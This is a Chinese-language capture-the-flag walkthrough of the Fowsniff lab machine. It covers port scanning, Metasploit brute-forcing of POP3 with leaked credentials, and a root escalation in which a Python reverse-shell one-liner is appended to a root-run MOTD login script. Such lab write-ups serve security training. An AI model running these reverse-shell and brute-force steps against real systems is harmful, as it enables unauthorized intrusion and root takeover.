渗透测试靶机fowsniff通关攻略

DarkEye 系统安全 2018年12月20日发布
Favorite收藏

导语:本篇文章将为大家分享渗透测试靶机fowsniff,获取root权限的攻略。

介绍

大家好,今天我们的靶机是fowsniff,这是一个boot2root的挑战,目的是获取root权限。靶机下载地址在这里

废话不多说,直接进入实际操作。

目录

· 端口扫描和IP发现

· 测试80端口

· 在pastebin上找到哈希值

· 解码哈希

· 暴力破解pop3登录

· 连接到pop3

· 找到ssh用户名和密码

· 找到提权的方法

· 利用系统配置不当

· 获取root权限

· 获取flag

实战过程

我们先开始进行端口扫描,使用netdiscover命令:

netdiscover

1.png

发现目标IP地址是192.168.1.29

接下来用nmap神器来扫描目标IP地址,命令如下:

nmap -A -p -T4 192.168.1.29

2.png

扫描结果显示有4个端口开放,22(ssh),80(http),110(pop3),143(imap)。

先看看80端口会不会有收获,打开浏览器访问:

3.png

页面上没有发现什么,继续使用dirb和nikto进行扫描也没有什么收获,于是我Google了一番页面上显示的这个fowsniff corp,发现了一个包含用户名和密码的pastebin链接。(链接在此)。

4.png

我们找到了一些哈希值并进行在线破解,找到了一些电子邮件对应的密码,不过有9个用户名,却只破解了8个哈希,如图:

5.png

所以我创建了两个字典,一个是用户名字典,一个是密码字典。我们将使用这两个字典来爆破pop3登录。

6.png

我们使用msf来爆破pop3登录,命令和配置如下:

msf > use auxiliary/scanner/pop3/pop3_login
msf auxiliary(scanner/pop3/pop3_login) > set rhosts 192.168.1.29
msf auxiliary(scanner/pop3/pop3_login) > set user_file user.txt
msf auxiliary(scanner/pop3/pop3_login) > set pass_file pass.txt
msf auxiliary(scanner/pop3/pop3_login) > set verbose false
msf auxiliary(scanner/pop3/pop3_login) > run

运行之后我们找到了正确的凭证,“seina:scoobydoo2”,如图:

7.png

接着我们连接到靶机的pop3服务上,使用刚才获取的凭证进行登录。登录上之后,我们查看下信息,发现有两条信息,命令如下:

nc 192.168.1.29 110
user seina
pass scoobydoo2
list

8.png

我们查看第一条信息的内容,发现它包含ssh的密码

retr 1

9.png

接着查看第二条信息,信息中可以看到发件人是[email protected],可以推断用户名是baksteen:

retr 2

10.png

接着我们使用刚才获得的凭证,也就是“baksteen:S1ck3nBluff+secureshell”来登录ssh:

ssh [email protected]

11.png

登录成功。

对系统进行一下枚举,发现用户baksteen属于两个不同的组。我们尝试找到属于users组的文件,发现了一个脚本“cube.sh”,查找命令如下:

find / -group users -type f 2>/dev/null

12.png

我们查看一下这个脚本文件的内容,发现它包含我们ssh登陆后出现的界面信息,对照上图ssh登录成功后的截图便知。

cd /opt/cube
cat cube.sh

13.png

我们使用vim打开该文件,并在文件结尾添加一行Python反弹shell的命令:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

如图:

14.png

保存后,我们尝试执行该脚本,报错,错误信息是“Python command is not found”。于是我们在系统中查找Python,发现安装的是Python3,如图:

15.png

所以我们修改反弹shell的命令为Python3,如下:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

16.png

由于我们登录到ssh时看到的banner跟cube.sh脚本包含的内容相似,所以我们来查看下“etc/update-motd.d”目录,查找运行改程序的可执行文件,发现了“00-header”这个文件运行这个shell脚本。

17.png

现在我们退出ssh,并且在本地使用netcat设置监听,然后我们重新连接ssh,这样的话,我们的反弹shell就成功执行了。

ssh [email protected]

18.png

一旦成功登录,我们就获得了一个root用户的shell。我们切换到root目录,发现一个flag.txt的文件,查看文件便得到了我们的flag信息:

nc -lvp 1234
id
cd /root
cat flag.txt

19.png

本文翻译自:http://www.hackingarticles.in/fowsniff-1-vulnhub-walkthrough/如若转载,请注明原文地址: https://www.4hou.com/system/15066.html
点赞 1
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论